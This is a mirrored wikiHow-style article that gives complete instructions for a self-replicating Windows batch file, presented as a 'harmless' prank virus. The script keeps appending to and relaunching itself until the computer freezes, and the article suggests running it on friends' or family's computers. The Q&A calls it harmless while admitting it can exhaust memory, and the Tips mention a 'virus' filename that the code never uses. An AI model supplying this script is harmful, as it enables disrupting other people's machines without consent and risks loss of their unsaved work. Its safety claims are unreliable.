How.com.vn is a “wiki,” similar to Wikipedia, which means that many of our articles are co-written by multiple authors. To create this article, 39 people, some anonymous, worked to edit and improve it over time.
This article has been viewed 142,409 times.
Learn more...
Sometimes, you might be thinking of making your own prank for others, but your family/friends are technological. This article will teach how to make a self-replicating, harmless virus, that freezes your computer as a prank.
Steps
- Open Notepad. You can also open any other word processor.
- Type on the first line. It should be "@echo off".Advertisement
- Type the following code on the next line:
- cd %homedrive%/users/%username%/
- (
- echo start s.bat
- )>>s.bat
- start s.bat
- 4Save the file. Remember to add the ".bat" extension to the end of the file name.
- Open the file. It will open many pointless windows, but it will freeze the computer.
- Shut down your computer. It will return to normal.
Community Q&A
- QuestionCan this harm my computer?Community AnswerNo, this will not harm your computer in any way. This will only freeze or lag your computer, but after rebooting, it will be completely fine.
- QuestionWill this cause my computer to crash?Hello903helloCommunity AnswerNo. Unless your computer has too little RAM (Random Access Memory), or you opened up too many apps (especially Google Chrome). In that case your RAM would be used up and cause your computer to lag.
- QuestionHow do I fix a PC loop program?Community AnswerRight click on the taskbar and go to Task Manager. Select the program and click on "end task". This will fix the problem. If it doesn't, restart your system.
Tips
- You can change the filename from virus to anything you want, just as long as you change every part of the file where it says virus to your new name.Thanks
- When changing the name, be sure to keep the ".bat" part.Thanks
- To change the icon of any short cut, right-click on it and select properties. Next, click the change icon. It might give you an error but ignore it and continue. Then select the one you want, and press okay/apply.Thanks
Warnings
- When you are done, delete the file so as not to confuse anyone.Thanks
- Do not ever do these pranks on a computer that must be fast like at a hospital!Thanks
About This Article
Did this article help you?
⚠️ Disclaimer:
Content from Wiki How English language website. Text is available under the Creative Commons Attribution-Share Alike License; additional terms may apply.
Wiki How does not encourage the violation of any laws, and cannot be responsible for any violations of such laws, should you link to this domain, or use, reproduce, or republish the information contained herein.
- - A few of these subjects are frequently censored by educational, governmental, corporate, parental and other filtering schemes.
- - Some articles may contain names, images, artworks or descriptions of events that some cultures restrict access to
- - Please note: Wiki How does not give you opinion about the law, or advice about medical. If you need specific advice (for example, medical, legal, financial or risk management), please seek a professional who is licensed or knowledgeable in that area.
- - Readers should not judge the importance of topics based on their coverage on Wiki How, nor think a topic is important just because it is the subject of a Wiki article.